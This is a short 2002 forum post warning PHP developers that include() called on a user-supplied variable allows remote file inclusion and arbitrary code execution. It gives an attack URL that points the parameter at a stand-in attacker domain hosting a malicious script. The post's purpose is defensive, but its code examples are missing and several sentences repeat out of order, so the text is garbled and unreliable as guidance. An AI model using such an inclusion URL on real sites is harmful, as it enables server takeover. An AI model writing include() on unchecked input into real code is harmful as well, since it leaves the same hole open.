ggrot - 7:10 pm on Dec 9, 2002 (gmt 0) If you run the command: For example, I saw one website where the urls were all index.php?a=filename and index.php was a template with:
1) The include function works with remote urls. If for any reason you have an include function with a variable parameter, be confident that no user can get that variable to become a url. If they can, they can run arbitrary code on your server with whatever permissions your PHP script has.
That file will be executed at that point in the code. However, this command can also look like this:
And it will also execute that code. So if you had:
include($variable); where variable was set based on input from the user at some stage, the user could theoretically execute arbitrary code.
in the middle. If someone were to form a url such as index.php?a=http://www.theirdomain.com/maliciousscript.php,
problems would have ensued.
If you run the command:
For example, I saw one website where the urls were all index.php?a=filename and index.php was a template with: